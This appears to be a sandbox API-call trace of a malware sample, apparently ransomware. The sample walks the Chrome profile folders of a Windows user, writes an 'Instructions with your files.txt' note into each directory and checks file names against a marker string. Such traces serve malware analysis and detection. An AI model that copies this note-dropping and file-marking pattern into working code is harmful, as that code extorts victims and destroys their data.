[0128.701] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned 71
[0128.701] GetProcessHeap () returned 0x810000
[0128.701] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x856bd0
[0128.702] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*") returned 73
[0128.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0128.743] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\.") returned 73
[0128.743] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.747] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\..") returned 74
[0128.747] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1
[0128.747] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 95
[0128.747] GetProcessHeap () returned 0x810000
[0128.747] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.748] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*") returned 97
[0128.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.760] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\.") returned 97
[0128.760] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.760] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\..") returned 98
[0128.760] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0128.760] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Instructions with your files.txt") returned 128
[0128.760] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0128.760] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0128.761] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0128.761] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0128.762] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0128.762] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0128.762] CloseHandle (hObject=0x120) returned 1
[0128.762] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0128.762] GetProcessHeap () returned 0x810000
[0128.762] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.762] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1
[0128.762] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 80
[0128.762] GetProcessHeap () returned 0x810000
[0128.762] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.762] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*") returned 82
[0128.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\.") returned 82
[0128.767] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\..") returned 83
[0128.767] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1
[0128.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 89
[0128.767] StrStrIW (lpFirst="metadata", lpSrch="SDfghjkl") returned 0x0
[0128.767] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1
[0128.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 88
[0128.767] GetProcessHeap () returned 0x810000
[0128.767] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.767] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*") returned 90
[0128.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.767] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\.") returned 90
[0128.767] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.767] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\..") returned 91
[0128.767] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0128.768] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\Instructions with your files.txt") returned 121
[0128.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.768] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.769] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.769] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.769] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.769] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.769] CloseHandle (hObject=0x124) returned 1
[0128.769] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.770] GetProcessHeap () returned 0x810000
[0128.770] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0128.771] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1
[0128.771] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 93
[0128.771] StrStrIW (lpFirst="settings.dat", lpSrch="SDfghjkl") returned 0x0
[0128.771] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 0
[0128.771] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Instructions with your files.txt") returned 113
[0128.771] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0128.771] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0128.772] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0128.772] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0128.772] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0128.772] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0128.772] CloseHandle (hObject=0x120) returned 1
[0128.773] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0128.774] GetProcessHeap () returned 0x810000
[0128.774] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.774] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
[0128.774] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 79
[0128.775] GetProcessHeap () returned 0x810000
[0128.775] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.775] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*") returned 81
[0128.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.777] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\.") returned 81
[0128.777] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.779] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\..") returned 82
[0128.779] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
[0128.779] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 85
[0128.779] GetProcessHeap () returned 0x810000
[0128.779] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.779] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*") returned 87
[0128.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.780] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\.") returned 87
